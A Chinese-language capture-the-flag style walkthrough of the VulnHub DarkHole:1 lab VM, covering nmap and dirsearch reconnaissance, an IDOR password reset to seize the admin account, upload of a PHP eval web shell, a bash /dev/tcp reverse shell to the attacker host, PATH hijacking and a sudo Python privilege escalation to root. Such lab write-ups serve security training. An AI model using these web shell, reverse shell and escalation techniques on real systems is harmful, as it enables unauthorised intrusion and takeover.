《VulnHub》DarkHole:1

VulnHub

  • 1:靶场信息
  • 2:打靶
    • 2.1:情报收集&威胁建模
    • 2.2:漏洞分析&渗透攻击
  • 3:总结
    • 3.1:命令&工具
      • 3.1.1:Nmap
    • 3.2:关键技术


VulnHub 打靶记录。官网:https://www.vulnhub.com

攻击机为 Kali-Linux-2023.2-vmware-amd64。
Kali NAT IP:192.168.8.10。

1:靶场信息

靶场网址:https://www.vulnhub.com/entry/darkhole-1,724/

2:打靶

2.1:情报收集&威胁建模

首先确定目标 ip:

主机发现
nmap -sn 192.168.8.0/24

在这里插入图片描述

目标 ip 为 192.168.8.108。

接着扫描一下目标端口信息:

目标信息扫描
nmap -sS -sV -T4 -n -p- 192.168.8.108

在这里插入图片描述

目标开放了 80 端口和 22 端口。

访问 80 端口,有一个登录页面,还有注册页面。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

除此以外再扫描一下网站目录。

扫描网站目录
dirsearch -u http://192.168.8.108/

经过检查没有太多有用的信息,(但 /upload/ 目录下有彩蛋。

在这里插入图片描述

2.2:漏洞分析&渗透攻击

80 端口的 web 初步检查没有弱点,只能先注册一个账号登录进去看看。

登录后的页面,有一个更新用户信息和修改密码的选项。

在这里插入图片描述

尝试修改 url 的 ID 参数,无果。

在这里插入图片描述

没办法。抓包看一下修改密码的数据包。

可以看到修改密码时附带了用户 ID。

在这里插入图片描述

那就尝试一下能不能通过修改提交的 ID 越权修改其他用户的密码。
尝试修改 ID 为 1 的用户,应该就是 admin。修改成功。

在这里插入图片描述

登录到 admin 之后发现可以上传文件。

在这里插入图片描述

在各种尝试之后,发现后端检测应该是黑名单机制。成功上传 .phtml 文件。

在这里插入图片描述

<?php echo 'Hello!';@eval($_POST['hello']);
?>

上传成功后给出了文件地址,访问发现文件可以被执行。

在这里插入图片描述

使用蚁剑连接。

在这里插入图片描述

连接成功后首先使用蚁剑终端进行 shell 反弹。

反弹 shell
1、kali:nc -lv -p 6666
2、server:bash -c 'exec bash -i &>/dev/tcp/192.168.8.10/6666 <&1'

成功反弹 shell。这里尝试了其他反弹 shell 的代码,有些不知道为什么不能运行,不过换其他语句即可。

在这里插入图片描述

这里说一下为什么要第一时间反弹 shell,因为在其他终端(网页、蚁剑等)可能会有潜在的限制。不便于之后的操作(例如提权)。

可以尝试使用 find 命令查找敏感文件。不过这里直接查看一下 /etc/passwd 文件,寻找一下存在可以提权的用户。

cat /etc/passwd | grep /bin/bash

在这里插入图片描述

进入到 darkhole 与 john 用户的 home 目录,寻找有用信息。在 john 目录下发现一些有趣的文件。

在这里插入图片描述

passworduser.txt 文件无权查看。
运行一下 toto 文件,发现它以 john 用户的身份运行类似 id 的命令。

在这里插入图片描述

那就尝试使用该文件提权。

  1. 在本地编辑新的 id 文件,写入 /bin/bash,给执行权限。
  2. 然后将文件路径写入到原有环境变量前,这样使用 id 命令时就会优先匹配此路径下的 id 文件运行。
  3. 所以运行 toto 文件使用 john 身份调用 id 命令,实际上就是使用 john 身份调用 id 文件运行,即可获得 john 的 shell。

创建一个新 id 文件
echo '/bin/bash' > /tmp/id

赋予权限
chmod +x /tmp/id

改变环境变量
export PATH=/tmp:$PATH

在这里插入图片描述

然后运行 toto 文件即获得 john 权限。

在这里插入图片描述

之后查看 /home/john/ 下原本无权查看的 password 文件与 user.txt 文件。

在这里插入图片描述

得到一个密码:root123。猜测是 john 用户的相关密码。

同时目标开启了 22 端口,提供 ssh 服务。尝试使用 john 账户登录。

在这里插入图片描述

现在仍然是 john 账户,接下来提权到 root。

查看用户能够使用 sudo 运行的命令
sudo -l

在这里插入图片描述

运行 sudo -l,用户可以了解自己在系统上具有的 sudo 权限,以及可以运行的特权命令与文件。

可以看到 john 用户可以以管理员身份运行 /home/john/file.py

  • 那么只要通过此文件执行获取 shell,即可获得管理员权限。
  1. 将获取 shell 的命令加入到此 python 文件。
    echo 'import os;os.system("/bin/bash")' > file.py
  2. 以管理员身份执行即可。
    sudo python3 /home/john/file.py

在这里插入图片描述

在这里插入图片描述

成功获取 root 权限。完结撒花!(◕ᴗ◕✿)

最后补充一下为什么要通过 ssh 连接以后再提权:如果直接通过反弹的 shell 尝试提权至 root,会出现以下情况:

在这里插入图片描述

完结 (◕ᴗ◕✿)

3:总结

3.1:命令&工具

  • nmap
  • dirsearch
  • BurpSuite
  • 蚁剑
  • NetCat
  • bash
  • ssh
  • python

3.1.1:Nmap

部分选项

参数介绍
-snPing Scan - disable port scan
-sS/sT/sA/sW/sMTCP SYN/Connect()/ACK/Window/Maimon scans
-sVProbe open ports to determine service/version info
-T<0-5>Set timing template (higher is faster)
-n/-RNever do DNS resolution/Always resolve [default: sometimes]
-p-描目标主机的所有端口

3.2:关键技术

  • 主机发现
    nmap -sn <IP>

  • 目标信息扫描,扫描所有端口及开放端口的服务:
    nmap -sS -sV -T<0-5> -n -p- <target>

  • 网站目录扫描
    dirsearch -u <URL>

  • 网站逻辑漏洞,越权之修改密码。

  • 文件上传漏洞

  • 蚁剑连接一句话木马

  • 反弹 shell
    1、kali:nc -lv -p <端口>
    2、server:bash -c 'exec bash -i &>/dev/tcp/<IP>/<端口> <&1'

  • bash -c:让系统运行一个新的 Bash shell,-c 选项后是实际要执行的命令。
  • exec:替换当前 shell 进程。这意味着之前的 shell 进程将被关闭,而新的 Bash shell 将接管标准输入、标准输出和标准错误流。
  • bash -i:启动一个交互式 Bash shell,-i 表示这是一个交互式的 shell,可以接受用户输入。
  • &>:重定向操作符,将后续的命令的标准输出和标准错误都重定向到一个文件或设备。在这里即 /dev/tcp/<IP>/<端口>,将标准输出和标准错误都重定向到一个指定的 IP 地址和端口。
  • <&1:将标准输入重定向到标准输出。确保在建立连接后,用户可以在远程 shell 中输入命令。
  • Linux 权限、环境变量相关知识

  • 查看用户具有的 sudo 权限
    sudo -l

  • 提权,通过系统调用实现。

  • python 获取 shell

import os;
os.system("/bin/bash")

若待功成拂衣去,武陵桃花笑杀人。

——《当涂赵炎少府粉图山水歌》(唐)李白

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/76069.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Android -BLE 蓝牙模块开发

Android-Ble蓝牙开发Demo示例–扫描,连接,发送和接收数据,分包解包(附源码) - 简书前言 万物互联的物联网时代的已经来临&#xff0c;ble蓝牙开发在其中扮演着举重若轻的角色。最近刚好闲一点&#xff0c;抽时间梳理下这块的知识点。 涉及ble蓝牙通讯的客户端(开启、扫描、连接…

Web framework-Gin(二)

目录 一、Gin 1、Ajax 2、文件上传 2.1、form表单中文件上传(单个文件) 2.2、form表单中文件上传(多个文件) 2.3、ajax上传单个文件 2.4、ajax上传多个文件 3、模板语法 4、数据绑定 5、路由组 6、中间件 一、Gin 1、Ajax AJAX 即“Asynchronous Javascript And XM…

时序分解 | MATLAB实现ICEEMDAN+SE改进的自适应经验模态分解+样本熵重构分量

时序分解 | MATLAB实现ICEEMDANSE改进的自适应经验模态分解样本熵重构分量 目录 时序分解 | MATLAB实现ICEEMDANSE改进的自适应经验模态分解样本熵重构分量效果一览基本介绍程序设计参考资料 效果一览 基本介绍 ICEEMDANSE改进的自适应经验模态分解样本熵重构分量 包括频谱图 避…

网络协议百科全书:28张图带你搞懂TCP

大家好&#xff0c;我的网工朋友。 不仅仅是网工&#xff0c;只要你是做IT相关的工作&#xff0c;肯定都离不开网络。 那网络中最重要的协议&#xff0c;大概非TCP莫属&#xff0c;谁去面试没被问过网络协议的相关问题&#xff1f; 谁没买过那本最经典的《TCP/IP详解》 。 …

可靠又稳定些的微信管理系统

微信管理系统 --- 简单点说就是&#xff1a;微信的管理和营销系统。再通俗一些就是&#xff1a;利用微信与管理营销相结合的一种新型的办公方式。 不用下载任何软件&#xff0c;不需要多部手机&#xff0c;对手机型号没有任何要求&#xff0c;不需要刷机等等&#xff0c;并且稳…

案例:实现TodoLis(尚硅谷)

是做完后再记录的&#xff0c;前端我主要是要了解下&#xff0c;所以这里记录的比较浅 由于是做完后记录&#xff0c;所以你cv后的代码的效果并不一定和我展示的效果图一样 静态页面 先来实现静态页面&#xff0c;再考虑动态页面 组件拆分 说明(实际的组件名不是和下面一样的…

手写Mybatis:第15章-返回Insert操作自增索引值

文章目录 一、目标&#xff1a;Insert自增索引值二、设计&#xff1a;Insert自增索引值三、实现&#xff1a;Insert自增索引值3.1 工程结构3.2 Insert自增索引值类图3.3 修改执行器3.3.1 修改执行器接口3.3.2 抽象执行器基类 3.4 键值生成器3.4.1 键值生成器接口3.4.2 不用键值…

RK3399平台开发系列讲解(内核调试篇)spidev_test工具使用

🚀返回专栏总目录 文章目录 一、环境二、执行测试三、回环测试四、字节发送测试五、32位数据发送测试沉淀、分享、成长,让自己和他人都能有所收获!😄 📢 在 Linux 系统上,“spidev_test” 是一个用于测试和配置 SPI(Serial Peripheral Interface)设备的命令行工具。…

[管理与领导-85]:IT基层管理者 - 核心技能 - 高效执行力 - 10 - 高效执行力的9个段位

目录 前言&#xff1a; 一段&#xff1a;准确执行&#xff0c;快速反应&#xff0c;坚决执行 &#xff08;态度很重要&#xff09; 二段&#xff1a;结果导向 苦劳过后&#xff0c;有功劳&#xff08;有结果很重要&#xff09; 三段&#xff1a;有始有终 主动反馈、有始有终…

图像文件的操作MATLAB基础函数使用

简介 MATLAB中的图像处理工具箱体统了一套全方位的标准算法和图形工具&#xff0c;用于进行图像处理、分析、可视化和算法开发。这里仅仅对常用的基础函数做个使用介绍。 查询图像文件的信息 使用如下函数 imfinfo(filename,fmt) 函数imfinfo返回一个结构体的info&#xff…

rsa加密解密java和C#互通

前言 因为第三方项目是java的案例&#xff0c;但是原来的项目使用的是java&#xff0c;故需要将java代码转化为C#代码&#xff0c;其中核心代码就是RSA加密以及加签和验签&#xff0c;其他的都是api接口请求难度不大。 遇到的问题 java和c#密钥格式不一致&#xff0c;java使…

人工智能AI 全栈体系(一)

第一章 神经网络是如何实现的 这些年人工智能蓬勃发展&#xff0c;在语音识别、图像识别、自然语言处理等多个领域得到了很好的应用。推动这波人工智能浪潮的无疑是深度学习。所谓的深度学习实际上就是多层神经网络&#xff0c;至少到目前为止&#xff0c;深度学习基本上是用神…

华为Mate60 Pro手机重大突破,资本要做空iPhone?Android开发市场将来会如何?

在9月10日有消息称&#xff0c;在华为的Mate60 Pro手机取得重大突破&#xff0c;其研发的 麒麟9000s芯片的研制&#xff0c; 国际卫星通信技术的应用 等这一系列的重大突破&#xff0c;导致美国的一家对冲基金Satori Fund创始人公开要做空iPhone。 而摩根大通发布报告称&#x…

十二、集合(5)

本章概要 for-in 和迭代器 适配器方法惯用法 本章小结 简单集合分类 for-in和迭代器 到目前为止&#xff0c;for-in 语法主要用于数组&#xff0c;但它也适用于任何 Collection 对象。实际上在使用 ArrayList 时&#xff0c;已经看到了一些使用它的示例&#xff0c;下面是它…

el-form表单中不同数据类型对应的时间格式化和校验规则

1. 在表单中, 当选择不同的数据类型时, 需要在下面选择时间时和数据类型对应上, 通过监听数据类型的变化, 给时间做格式化, 2. 但是当不按顺序选择数据类型后, 再选时间可能会报错, 所以需要在dom更新后, 再清空表单. 3. 校验规则, 结束时间需要大于开始时间, 但是不能选当前的…

排序算法:快速排序(三种排序方式、递归和非递归)

朋友们、伙计们&#xff0c;我们又见面了&#xff0c;本期来给大家解读一下有关排序算法的相关知识点&#xff0c;如果看完之后对你有一定的启发&#xff0c;那么请留下你的三连&#xff0c;祝大家心想事成&#xff01; C 语 言 专 栏&#xff1a;C语言&#xff1a;从入门到精通…

GeoNet: Unsupervised Learning of Dense Depth, Optical Flow and Camera Pose 论文阅读

论文信息 题目&#xff1a;GeoNet: Unsupervised Learning of Dense Depth, Optical Flow and Camera Pose 作者&#xff1a;Zhichao Yin and Jianping Shi 来源&#xff1a;CVPR 时间&#xff1a;2018 Abstract 我们提出了 GeoNet&#xff0c;这是一种联合无监督学习框架&a…

vim常用操作

一、Esc键 & 命令模式 1.撤销&#xff1a;u 恢复撤销&#xff1a;Ctrl r 2.定位 行首&#xff1a;0 行尾&#xff1a;$ 第7行&#xff1a;7G 3.编辑 下行开始插入&#xff1a; o 删除行&#xff1a;dd 复制3行并粘贴&#xff1a;3yy ---> p 复制单词并粘贴&#…

蓝桥杯官网练习题(玩具蛇)

题目描述 本题为填空题&#xff0c;只需要算出结果后&#xff0c;在代码中使用输出语句将所填结果输出即可。 小蓝有一条玩具蛇&#xff0c;一共有 16 节&#xff0c;上面标着数字 1 至 16。每一节都是一个正方形的形状。相邻的两节可以成直线或者成 90 度角。 小蓝还有一个…

时序预测 | MATLAB实现ELM极限学习机时间序列预测未来

时序预测 | MATLAB实现ELM极限学习机时间序列预测未来 目录 时序预测 | MATLAB实现ELM极限学习机时间序列预测未来预测效果基本介绍程序设计参考资料 预测效果 基本介绍 1.MATLAB实现ELM极限学习机时间序列预测未来&#xff1b; 2.运行环境Matlab2018及以上&#xff0c;data为数…